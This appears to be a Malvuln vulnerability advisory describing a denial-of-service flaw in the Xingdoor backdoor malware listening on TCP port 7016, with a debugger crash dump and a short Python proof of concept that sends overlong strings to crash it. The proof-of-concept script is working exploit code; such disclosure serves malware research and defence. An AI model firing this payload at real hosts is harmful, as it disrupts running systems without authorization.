Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/89000e259ffbd107b7cc9bac66dcdcf5.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Xingdoor
Vulnerability: Denial of Service
Description: The malware "System_XingCheng" listens on TCP port 7016. Attackers who can send a specially crafted packet, can trigger an int 3 "\xcc" breakpoint debug error causing a disruption in service. The error is a MS Visual C++ Debug Error, occurs when the value of ESP is not properly saved across a function call.
Family: Xingdoor
Type: PE32
MD5: 89000e259ffbd107b7cc9bac66dcdcf5
Vuln ID: MVID-2022-0542
Disclosure: 04/06/2022
Memory Dump:
This dump file has a breakpoint exception stored in it.
The stored exception information can be accessed via .ecxr.
eax=00000000 ebx=00000000 ecx=b30fec4c edx=00000001 esi=00000003 edi=00000003
eip=76feed3c esp=0019f53c ebp=0019f6cc iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
76feed3c c21400 ret 14h
0:000> .ecxr
eax=00000001 ebx=00384000 ecx=b30fec4c edx=00000001 esi=004027f0 edi=0019fef0
eip=004027de esp=0019fe64 ebp=0019fe78 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
*** WARNING: Unable to verify checksum for Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe
Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x27de:
004027de cc int 3
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
FAULTING_IP:
Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+27de
004027de cc int 3
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 004027de (Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x000027de)
ExceptionCode: 80000003 (Break instruction exception)
ExceptionFlags: 00000000
NumberParameters: 1
Parameter[0]: 00000000
DEFAULT_BUCKET_ID: STATUS_BREAKPOINT
PROCESS_NAME: Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe
ERROR_CODE: (NTSTATUS) 0x80000003 - {EXCEPTION} Breakpoint A breakpoint has been reached.
EXCEPTION_CODE: (HRESULT) 0x80000003 (2147483651) - One or more arguments are invalid
EXCEPTION_PARAMETER1: 00000000
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 00001928
PRIMARY_PROBLEM_CLASS: STATUS_BREAKPOINT
BUGCHECK_STR: APPLICATION_FAULT_STATUS_BREAKPOINT
LAST_CONTROL_TRANSFER: from 00401596 to 004027de
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
0019fe78 00401596 0019fe25 0040112f 004027f0 Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x27de
0019fe80 0040112f 004027f0 004027f0 00384000 Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x1596
0019fef0 00402903 00400000 00000000 02783767 Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x112f
0019ff80 76698654 00384000 76698630 fa8d215c Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x2903
0019ff94 76fe4a77 00384000 b30fa868 00000000 kernel32!BaseThreadInitThunk+0x24
0019ffdc 76fe4a47 ffffffff 77009ea7 00000000 ntdll!__RtlUserThreadStart+0x2f
0019ffec 00000000 004027f0 00384000 00000000 ntdll!_RtlUserThreadStart+0x1b
FOLLOWUP_IP:
Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+27de
004027de cc int 3
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+27de
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5
IMAGE_NAME: Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 3f169e33
STACK_COMMAND: dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~0s; .ecxr ; kb
FAILURE_BUCKET_ID: STATUS_BREAKPOINT_80000003_Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe!Unknown
BUCKET_ID: APPLICATION_FAULT_STATUS_BREAKPOINT_Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+27de
Exploit/PoC:
from socket import *
import time
MALWARE_HOST="x.x.x.x"
PORT=7016
def chk_res(s):
res=""
while True:
res += s.recv(512)
break
if "\0" in res or "\n" in res or res == "":
break
return res
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
print(chk_res(s))
time.sleep(1)
s.send("a")
print(chk_res(s))
s.send("\r\n"+"A"*88+"\r\n")
time.sleep(1)
print(chk_res(s))
time.sleep(1)
s.send("A"*88+"\n")
print(chk_res(s))
s.close()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).